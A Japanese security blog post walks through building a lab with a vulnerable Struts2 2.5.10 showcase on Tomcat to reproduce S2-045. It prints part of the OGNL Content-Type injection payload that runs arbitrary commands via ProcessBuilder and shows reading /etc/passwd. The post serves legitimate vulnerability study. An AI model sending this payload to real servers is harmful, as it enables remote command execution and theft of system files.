2018.08.16前回Tomcatの動作までを確認しましたので、今回は実際にStruts2を動作させてS2-045の動作まで実施します。Struts2については、定期的に甚大な問題につながる脆弱性が発見されるので、すぐに構築できるように手を動かしておけると良いと思います。showcaseの配置S2-045を検証するのに新しいプログラムを組んだりする必要はありません。サンプルプログラムとして「struts2-showcase」というものがあり、これを配置することでデモ環境の構築は完了することができます。公式サイトに行って脆弱性があるバージョンのStruts2をダウンロードしてきます。今回は脆弱性のギリギリあるバージョンである「2.5.10」を使用します。/dist/struts/2.5.10archive.apache.orgもちろん「wget」で直接ダウンロードしても大丈夫です。VM上に持ってきたら、展開をします。解凍したらstruts2-showcaseが存在するディレクトリまで移動します。struts-2.5.10/apps/#「struts2-showcase」があるディレクトリへ移動lsコマンドでディレクトリ内を表示させると以下のようになっているかと思います。上記の赤枠で囲われた「struts2-showcase.war」をTomcatの公開領域にコピーします。/var/lib/tomcat8/webapps/#「struts2-showcase.war」をTomcatの公開領域にコピー(権限によってはsudoが必要です。Tomcatの公開領域へ移動すると以下のように「struts2-showcase」というディレクトリが出来ていることがわかります。これは先ほどコピーした「struts2-showcase.war」がデプロイされた結果できたディレクトリです。これで準備は完了です。実際にブラウザからアクセスしてみましょう!アクセスURL例:http://192.168.70.135:8080/struts2-showcase/index.action以下のような画面が表示されればOKです。S2-045を試してみましょう!以下はburpで検証しました。addr」を入力した際の挙動です。/etc/passwd」と入力した際の挙動です。検証環境ができました!後はどんなコマンドが取れるかだったり他の人に見せて自慢したりできますね。以下がそれぞれの検証コードです。「Content-Type」ヘッダを操作して攻撃を行います。赤太字になっている個所に任意のコマンドを入力します。java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}#catコマンドで/etc/passwdの内容を表示させる最後にS2-045の検証環境の作成について記事にしました。次回にS2-045のまとめとして勉強会で話した内容を最後に記事にします。新たに脆弱性が出た際にすぐに手を動かして検証することは大事だと私は思っています。皆様も是非手を動かして検証してみてください。Strutsは今後も大きな問題になる脆弱性が出る予感はしていますので、開発する訳ではないですが簡単に動かせるような環境を用意できるようにしておくのが、セキュリティエンジニアの方にはオススメします。自分での開発環境用に作成するのもいいと思いますので、試してみてください。不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。LINEtokoroten0813をフォローするtokoroten0813猫とセキュリティ関連記事セキュリティシステム監査のお仕事について今回は先日以下の勉強会で発表した内容について記事にしてきます。勉強会に参加してきましたなお、内容についてはかなり個人的見解を含んでいますので、私の所属や特定の団体等は全く関係ありませんのであらかじめご了承ください。2019.03.09セキュリティフリーのWAFを使ってみよう:ModSecurity1今回はフリーのWAFであるMod_Securityの環境を作成していきたいと思います。この記事を見にきた人はご存知の方が多いと思いますが、初心者向けブログですので、説明します。2018.07.08セキュリティ標的型攻撃メールの対応を検討する標的型攻撃という言葉をご存知の方も多いと思います。近年の流行りの攻撃として、全世界で問題になっている攻撃手法です。今回はその対策について考えてみます。2018.07.24セキュリティセキュリティ業界にきたら読んでおきたい本2前回の本の紹介がそこそこアクセス数があったので、どんな参考書を読んで勉強したらいいかを模索している人が多いのかなと思います。前回は本当に業界に来たばかりの人に持っていて、そして読んでほしい本を記事にしたので、今回はもう少し知っている人向けになるかと思います。2018.10.04セキュリティSSHの公開鍵認証を使って安全に接続しよう今回はSSHを安全に使用するためにということで始めていきます。Term」を介して使用しています。通常では外部からサーバにログインするのによく使用するかと思います。最近仕事でPGPという仕組みを使用する機会があったので、それについて解説していきます。電子メール等のやりとりをより安全に使用できる物になりますので、記事を読んで気になった方は是非とも試してみてください。間違っている内容があった際はご教示頂けると嬉しいです。コメントをキャンセルメールアドレスが公開されることはありません。コメント名前メールアドレスサイト上に表示された文字を入力してください。29tokoroten0813猫が大好きなセキュリティエンジニアです。この業界に入って8年目になりました。妻と子供が二人います。秋葉原でやっているセキュリティの勉強会に毎月参加していますので、興味がある方はご連絡ください。猫の話やセキュリティに関わる話、IT業界、育児等特にこだわりを持たずに記事にしていく予定です。現在前職を退職し、絶賛個人で活動中です。セキュリティ関連で困ったことがあれば気軽に相談いただければ喜びます。Controls7ISMS3ニュース19資格10勉強会44家庭・育児20息抜き11猫20運動4。